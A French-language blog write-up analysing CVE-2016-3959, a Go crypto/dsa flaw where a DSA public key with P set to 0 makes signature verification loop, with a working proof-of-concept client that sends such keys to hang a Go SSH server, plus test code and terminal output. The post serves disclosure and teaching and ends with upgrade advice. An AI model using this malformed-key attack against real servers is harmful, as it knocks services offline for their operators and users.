
Analyse de CVE-2016-3959 et une attaque de preuve de concept contre un serveur SSH Go.
Alex Mullins
9 avril 2016
Récemment, un bug a été découvert dans la bibliothèque crypto du Digital Signature Algorithm (DSA) du langage de programmation Go. Dans cet article, nous allons détailler les spécificités du bug et comment un attaquant pourrait l'exploiter pour lancer une attaque par déni de service contre un serveur SSH Go standard qui utilise la bibliothèque DSA sous-jacente pour authentifier les clients.
La première mention de cette vulnérabilité est apparue dans un message sur la liste de diffusion Open Source Security (oss-sec) à l'adresse http://seclists.org/oss-sec/2016/q2/11.
Go a une boucle infinie dans plusieurs routines de grands entiers qui rend les programmes Go vulnérables à des attaques par déni de service à distance. Les programmes utilisant l'authentification client HTTPS ou les bibliothèques serveur ssh de Go sont exposés à cette vulnérabilité. Ceci est traité dans le CL suivant : https://golang.org/cl/21533
-- Jason Buberel
En résumé, si cette vulnérabilité était exploitée, elle pourrait conduire à une boucle infinie dans le code sous-jacent de la bibliothèque BigNum. Cela consommerait des ressources système en termes de CPU et de mémoire et pourrait éventuellement rendre le programme ou le système lui-même injoignable.
La déclaration ci-dessus indique que SSH ainsi que l'authentification client HTTPS sont affectés, mais après avoir examiné les paquets crypto/tls et net/http de Go, cela semble incorrect. L'authentification client HTTPS peut utiliser les schémas de signature RSA ou ECDSA, mais pas DSA. Voir ci-dessous. Si je me trompe à ce sujet, veuillez me le faire savoir.
https://golang.org/pkg/crypto/tls/#Certificate
type Certificate struct {
Certificate [][]byte
// PrivateKey contains the private key corresponding to the public key
// in Leaf. For a server, this must implement crypto.Signer and/or
// crypto.Decrypter, with an RSA or ECDSA PublicKey. For a client
// (performing client authentication), this must be a crypto.Signer
// with an RSA or ECDSA PublicKey.
PrivateKey crypto.PrivateKey
... other fields
}
Peu de temps après la publication de ce message sur la liste de diffusion oss-sec, un numéro CVE a été attribué : CVE-2016-3959. Les mainteneurs de Go ont préparé un correctif qui apparaîtra dans les versions 1.5.4 et 1.6.1 qui doivent être publiées le mercredi 13 avril 2016 ; https://groups.google.com/forum/#!topic/golang-nuts/MmSbFHLPo8g.
Pour suivre les exemples de code de cet article, vous aurez besoin de la version 1.6 de Go installée. Suivez les instructions sur https://golang.org/doc/install. Si vous souhaitez télécharger ce document et les exemples de code, vous aurez également besoin de Git. Suivez les instructions sur https://git-scm.com/book/en/v2/Getting-Started-Installing-Git. Pour cloner le dépôt, exécutez la commande suivante dans un terminal :
$ go get github.com/alexmullins/dsa
Cela clonera le dépôt dans votre espace de travail Go.
La section suivante détaillera les spécificités de la vulnérabilité.
Alors, quel est exactement le problème ? Pour répondre à cela, il faut revenir à l'annonce originale sur la liste de diffusion oss-sec. Il n'y a pas beaucoup d'informations à part une explication générale du problème et un lien vers le correctif à https://golang.org/cl/21533. Le message de commit pour ce changement contient ce qui suit :
crypto/dsa : éliminer les PublicKey invalides rapidement
Pour PublicKey.P == 0, Verify échouera. Ne même pas essayer.
--- Robert Griesemer
et le code corrigé :
https://github.com/golang/go/blob/master/src/crypto/dsa/dsa.go#L247
// Verify verifies the signature in r, s of hash using the public key, pub. It
// reports whether the signature is valid.
//
// Note that FIPS 186-3 section 4.6 specifies that the hash should be truncated
// to the byte-length of the subgroup. This function does not perform that
// truncation itself.
func Verify(pub *PublicKey, hash []byte, r, s *big.Int) bool {
// FIPS 186-3, section 4.7
// Code fix added to check if the key parameters are sensible.
if pub.P.Sign() == 0 {
return false
}
if r.Sign() < 1 || r.Cmp(pub.Q) >= 0 {
return false
}
if s.Sign() < 1 || s.Cmp(pub.Q) >= 0 {
return false
}
w := new(big.Int).ModInverse(s, pub.Q)
n := pub.Q.BitLen()
if n&7 != 0 {
return false
}
z := new(big.Int).SetBytes(hash)
u1 := new(big.Int).Mul(z, w)
u1.Mod(u1, pub.Q)
u2 := w.Mul(r, w)
u2.Mod(u2, pub.Q)
v := u1.Exp(pub.G, u1, pub.P)
u2.Exp(pub.Y, u2, pub.P)
v.Mul(v, u2)
v.Mod(v, pub.P)
v.Mod(v, pub.Q)
return v.Cmp(r) == 0
}
Pour résumer le message de commit et le correctif ci-dessus : dans Go 1.6 et les versions précédentes, il y a un bug dans la fonction Verify du paquet crypto/dsa. Si quelqu'un appelle Verify avec le paramètre de clé publique P défini à 0, cela provoquera une boucle infinie dans l'une des instructions plus bas dans la fonction Verify.
Un petit détour pour expliquer DSA. DSA est un algorithme de signature numérique qui utilise la cryptographie asymétrique pour signer un message, qui peut ensuite être utilisé pour garantir que le message a bien été envoyé par l'expéditeur/détenteur de la clé privée. Un exemple simple : Alice envoie un message à Bob lui indiquant où et quand ils doivent se retrouver pour déjeuner. Bob, cependant, veut être sûr que c'est bien Alice qui lui a envoyé le message et non quelqu'un d'autre. Pour que cela fonctionne, Alice signera le message avec sa clé privée et Bob pourra vérifier la signature d'Alice avec sa clé publique que Bob connaît. Personne d'autre que le détenteur de la clé privée ne peut signer un message qui peut ensuite être vérifié par la clé publique correspondante (c'est du moins l'idée).
Pour fonctionner, DSA a besoin de 5 grands nombres. Les 3 premiers nombres sont connus sous le nom de paramètres DSA P, Q et G. Ceux-ci définissent le groupe sous-jacent et le générateur de groupe. Ces nombres peuvent être correctement créés en appelant dsa.GenerateParameters().
type Parameters struct {
P, Q, G *big.Int
}
Les deux derniers nombres nécessaires pour DSA sont la clé privée X et la clé publique correspondante Y. Ces nombres peuvent également être créés en appelant dsa.GenerateKey().
type PrivateKey struct {
PublicKey
X *big.Int
}
type PublicKey struct {
Parameters
Y *big.Int
}
C'est tout ce que vous devez savoir sur DSA pour suivre. Pour plus d'informations, voir la norme NIST : http://csrc.nist.gov/publications/fips/fips186-3/fips_186-3.pdf ou la page wikipedia : https://en.wikipedia.org/wiki/Digital_Signature_Algorithm.
Revenons au sujet ; où se trouve la boucle infinie dans la fonction Verify ? Avec un peu plus de recherche, vous constaterez que le code bloque sur :
v := u1.Exp(pub.G, u1, pub.P)
Voici le commentaire de la méthode Exp() :
// Exp sets z = x**y mod |m| (i.e. the sign of m is ignored), and returns z.
// If y <= 0, the result is 1 mod |m|; if m == nil or m == 0, z = x**y.
// See Knuth, volume 2, section 4.6.3.
func (z *Int) Exp(x, y, m *Int) *Int {
D'après ce qui précède, vous pouvez voir que le commentaire spécifie que lorsque m == 0, il exponentiera sans réduction modulaire. Lorsque vous prenez un grand nombre et que vous l'exponentiez avec un autre grand nombre, le résultat sera également un nombre TRÈS GRAND. Je ne connais pas très bien le fonctionnement de math/big, mais je pense que c'est ce qui se passe ici. Exp() travaille sur cette exponentiation qui prendra un temps très, très long à terminer (autant dire l'infini).
Voici quelques exemples de nombres utilisés dans un appel à dsa.Verify() à Exp() recueillis à partir du code de test ci-dessous :
x = 87134495734400160760614045850064869082246125869475484226357302998590334523718907040547736115253396811403341841812955872027275698952059512800196447089300992352859585665865224989740
07948775031938554271780506269767106717359222697821209685947889925442133804051298762702245652821695254167558015585995918548052076 (307 chiffres)
y = 751336012463178371212581620103057049388105279629 (48 chiffres)
z = x ^ y
En utilisant Wolfram Alpha, on peut avoir une idée de la taille de ce nombre z. Il y a "113406800566837208055789635448879116719378036793444 ou 1.13407x10^50 chiffres décimaux" dans le nombre z résultant. (Remarque : je n'ai pu utiliser que les 150 premiers chiffres de x élevé à y dans la zone de saisie web de Wolfram Alpha, donc le nombre réel de chiffres est encore plus grand !) Pour donner une idée de l'échelle : les scientifiques estiment le nombre d'atomes dans l'univers proche de 10^78 à 10^82 http://www.universetoday.com/36302/atoms-in-the-universe/.
Exemple de test de signature/vérification DSA :
func generatePrivKey(t *testing.T) *dsa.PrivateKey {
// Create the DSA parameters
params := dsa.Parameters{}
err := dsa.GenerateParameters(¶ms, rand.Reader, dsa.L1024N160)
if err != nil {
t.Fatalf("failed to generate dsa parameters: %v", err)
}
// Create the DSA private/public keys
priv := new(dsa.PrivateKey)
priv.Parameters = params
err = dsa.GenerateKey(priv, rand.Reader)
if err != nil {
t.Fatalf("failed to generate dsa keys: %v", err)
}
return priv
}
func TestDSASignature(t *testing.T) {
var message = "Hello brave new world!"
var hash = sha1.Sum([]byte(message))
var err error
priv := generatePrivKey(t)
// Sign a message
r, s, err := dsa.Sign(rand.Reader, priv, hash[:])
if err != nil {
t.Fatalf("failed to sign message: %v", err)
}
if !dsa.Verify(&priv.PublicKey, hash[:], r, s) {
t.Fatalf("failed to verify message: %v", err)
}
}
$ go test
PASS
ok github.com/alexmullins/dsa 0.224s
Exemple de test avec P défini à 0 :
func TestDSAPanic(t *testing.T) {
flag.Parse()
if !*fail {
t.Skip()
}
var message = "Hello brave new world!"
var hash = sha1.Sum([]byte(message))
var err error
priv := generatePrivKey(t)
// Sign a message
r, s, err := dsa.Sign(rand.Reader, priv, hash[:])
if err != nil {
t.Fatalf("failed to sign message: %v", err)
}
// Set P = 0
priv.P = new(big.Int).SetInt64(0)
if !dsa.Verify(&priv.PublicKey, hash[:], r, s) {
t.Fatalf("failed to verify message: %v", err)
}
}
$ go test -fail
Observez que ce dernier appel de test va bloquer.
Comment quelqu'un peut-il exploiter cela ? Si un attaquant parvient à faire accepter et utiliser par un serveur une clé DSA malformée pour vérifier une signature, il peut amener le serveur à rester bloqué à travailler sur un gros problème d'exponentiation, provoquant ainsi un déni de service (DOS). Puisque SSH utilise DSA comme schéma de signature dans son protocole d'authentification client, cela semble être un serveur candidat parfait pour tenter cette exploitation. Imaginons un scénario où cela pourrait se produire.
Un petit fournisseur d'hébergement Git permet à ses utilisateurs de s'authentifier avec des clés SSH pour accéder à son service, et son serveur SSH est codé en Go. Pour faire tomber ce service, un attaquant pourrait créer de nombreux comptes factices et télécharger des clés DSA malformées pour les utiliser dans l'authentification SSH. Toutes ces clés auront leur paramètre P défini à 0. Un attaquant pourrait alors lancer des centaines de telles connexions client SSH vers le serveur, ce qui entraînerait le blocage des ressources système et conduirait à un DOS efficace.
Testons ce scénario.
Le serveur est un simple serveur SSH qui accepte les demandes de session et affiche l'heure actuelle à la connexion. Merci à github.com/jpillora d'avoir fourni cet exemple de code serveur à https://gist.github.com/jpillora/b480fde82bff51a06238. Quelques ajustements ont été apportés au code pour permettre l'authentification par clé publique au lieu de rappels de mot de passe.
config := &ssh.ServerConfig{
// Accept all authentication requests
PublicKeyCallback: func(c ssh.ConnMetadata, key ssh.PublicKey) (*ssh.Permissions, error) {
return nil, nil
},
}
Cela acceptera toutes les demandes d'authentification par clé publique. Imaginez un service réel interrogeant une base de données pour déterminer si un utilisateur particulier a cette clé publique enregistrée sur son compte. Le serveur ressemble à un serveur Go très normal qui commence à écouter sur un port et accepte les connexions entrantes.
// Once a ServerConfig has been configured, connections can be accepted.
listener, err := net.Listen("tcp", *addr)
if err != nil {
log.Fatalf("Failed to listen on %s: %s", *addr, err)
}
// Accept all connections
log.Println("Listening on", *addr)
for {
tcpConn, err := listener.Accept()
if err != nil {
log.Printf("Failed to accept incoming connection (%s)", err)
return
}
log.Printf("Accepted an incoming TCP connection from %s", tcpConn.RemoteAddr())
if *p {
go makeSSHConn(tcpConn, config)
} else {
makeSSHConn(tcpConn, config)
}
}
func makeSSHConn(conn net.Conn, config *ssh.ServerConfig) {
// Before use, a handshake must be performed on the incoming net.Conn.
sshConn, chans, reqs, err := ssh.NewServerConn(conn, config)
if err != nil {
log.Printf("Failed to handshake (%s)", err)
return
}
log.Printf("New SSH connection from %s (%s)", sshConn.RemoteAddr(), sshConn.ClientVersion())
// Discard all global out-of-band Requests
go ssh.DiscardRequests(reqs)
// Accept all channels
go handleChannels(chans)
}
Une chose à noter est la vérification de if *p. Cela correspond au drapeau -p et contrôle si le serveur effectue la poignée de main SSH sur la goroutine principale ou sur une goroutine en arrière-plan. De nombreux exemples en ligne utilisent la première approche. Le drapeau -p montrera la différence qu'une opération bloquante peut avoir sur les performances d'un serveur réseau dans la section d'attaque plus tard.
Le code client est un peu plus complexe. Il nécessite des modifications de la bibliothèque SSH Go pour permettre l'envoi d'une clé DSA malformée. La bibliothèque SSH a été intégrée dans le paquet client. Notez que le code serveur est inchangé à 100% et importe le paquet standard golang.org/x/crypto/ssh depuis l'espace de travail.
Le client fonctionne en deux modes distincts contrôlés par un drapeau de ligne de commande appelé -attack. Lorsque le client est démarré normalement, il établit une connexion SSH régulière au serveur et commence à lire l'heure du serveur toutes les quelques secondes. Mais lorsque le drapeau -attack est présent, le client envoie une demande d'authentification au serveur avec une clé publique DSA malformée. Extraits de code pertinents :
func init() {
flag.Parse()
if *attack {
ssh.Attack = true
}
if *key == "" {
log.Fatalln("must provide a auth key.")
}
}
Notez qu'une nouvelle variable ssh.Attack a été créée dans le paquet SSH intégré et est définie sur true lorsque le drapeau -attack est présent. ssh.Attack modifie le code de marshalling de la clé publique DSA du paquet SSH pour remplacer le paramètre P par 0. Vous pouvez trouver ces deux modifications dans les fichiers attack.go et keys.go du paquet SSH intégré.
// attack.go
var (
// Attack should be set to true to send a malformed DSA key.
Attack = false
)
// keys.go
func (k *dsaPublicKey) Marshal() []byte {
x := k.P
if Attack {
x = big.NewInt(0)
}
w := struct {
Name string
P, Q, G, Y *big.Int
}{
k.Type(),
x,
k.Q,
k.G,
k.Y,
}
return Marshal(&w)
}
L'attaque a un impact différent selon que le serveur est démarré avec le drapeau -p ou non.
Pour construire le serveur, placez-vous dans le répertoire server et exécutez : go build -o server . Faites de même pour le client : go build -o client . Il y a des clés RSA et DSA de test dans les répertoires data du serveur et du client. Si vous souhaitez en créer de nouvelles, utilisez ssh-keygen.
Si le serveur a été démarré sans le drapeau -p, alors un seul client attaquant peut complètement bloquer le serveur et aucune nouvelle connexion ne peut plus être acceptée. En effet, l'appel à ssh.NewServerConn() est exécuté sur la goroutine principale et reste bloqué dans l'appel à dsa.Verify() pour l'authentification client, empêchant ainsi les appels suivants à listener.Accept(). Lors de l'écriture de serveurs réseau, il est important de maintenir la boucle d'acceptation réactive et de déporter les opérations bloquantes vers une goroutine en arrière-plan.
Démarrez le serveur normalement avec :
$ ./server -key=./data/id_rsa
2016/04/13 07:30:27 Listening on localhost:8022
Dans un autre terminal, démarrez un client normal qui enverra une clé DSA correcte au serveur pour l'authentification :
$ ./client -key=./data/id_dsa
2016/04/13 07:31:31 connected
Wed Apr 13 07:31:34 CDT 2016
Wed Apr 13 07:31:37 CDT 2016
Revenez au serveur et voyez qu'il a accepté la connexion TCP et créé une connexion SSH :
$ ./server -key=./data/id_rsa
2016/04/13 07:31:23 Listening on localhost:8022
2016/04/13 07:31:31 Accepted an incoming TCP connection from 127.0.0.1:63516
2016/04/13 07:31:31 New SSH connection from 127.0.0.1:63516 (SSH-2.0-Go)
Il est maintenant temps de lancer un client attaquant dans un autre terminal. Celui-ci enverra la même clé DSA qu'un client normal, MAIS avec le paramètre P défini à 0 :
$ ./client -key=./data/id_dsa -attack
Remarquez que le client reste bloqué sans message 'connected' et qu'il n'y a pas de logs de l'heure du serveur. Le serveur n'a pas non plus loggé la création d'une connexion SSH, mais il a bien accepté la connexion TCP. Le serveur est maintenant bloqué sur l'appel à dsa.Verify() :
$ ./server -key=./data/id_rsa
2016/04/13 07:31:23 Listening on localhost:8022
2016/04/13 07:31:31 Accepted an incoming TCP connection from 127.0.0.1:63516
2016/04/13 07:31:31 New SSH connection from 127.0.0.1:63516 (SSH-2.0-Go)
2016/04/13 07:33:36 Accepted an incoming TCP connection from 127.0.0.1:63521
Essayez de connecter un autre client normal ; il est maintenant également empêché de se connecter :
$ ./client -key=./data/id_dsa
Le client d'origine peut toujours recevoir les réponses du serveur cependant.
Si le serveur a été démarré avec le drapeau -p, il peut toujours accepter les connexions client normales car les connexions SSH de l'attaquant sont traitées dans des goroutines en arrière-plan au lieu de bloquer la boucle d'acceptation sur la goroutine principale. Cela ne conduit pas à un DOS immédiat, mais consommera continuellement les ressources CPU et mémoire du serveur, menant à une mort lente.
Démarrons à nouveau le serveur, mais cette fois avec le drapeau -p :
$ ./sshd -key=./data/id_rsa -p
2016/04/13 07:38:07 Listening on localhost:8022
Lançons maintenant un client attaquant comme avant :
$ ./client -key=./data/id_dsa -attack
Remarquez que le serveur n'a pas loggé la création de la connexion SSH à nouveau, mais essayons de connecter un client normal :
$ ./client -key=./data/id_dsa
2016/04/13 07:42:06 connected
Wed Apr 13 07:42:09 CDT 2016
Wed Apr 13 07:42:12 CDT 2016
Hé, ça se connecte ! Mais tout ce qu'un attaquant aurait à faire serait de lancer quelques connexions client malveillantes supplémentaires et l'utilisation du CPU et de la RAM du serveur augmenterait. Avec 4 clients attaquants, j'ai pu obtenir ~400% de CPU et 1 Go d'utilisation de RAM avant de devoir arrêter car mon ordinateur portable commençait à chauffer. Dans des conditions normales avec seulement 2 clients normaux connectés au serveur, mon CPU était autour de 0,2% et l'utilisation de RAM était de 5-6 Mo. Une différence considérable.
En conclusion, cette vulnérabilité peut être exploitée pour provoquer un déni de service. En utilisant le scénario ci-dessus, le calculateur de score CVE https://nvd.nist.gov/CVSS/v2-calculator a attribué un score de 3,5/10. Il n'y a pas d'impact sur la confidentialité ou l'intégrité, seulement un impact partiel/complet sur la disponibilité.
En regardant godoc.org, il y a actuellement 164 paquets qui importent crypto/dsa, https://godoc.org/crypto/dsa?importers. Il est recommandé de mettre à niveau vers la version de sécurité disponible sur https://golang.org/dl/.
Dans l'ensemble, ce fut une expérience d'apprentissage amusante. S'il y a des erreurs ou des améliorations possibles, veuillez me le faire savoir. Merci d'avoir lu.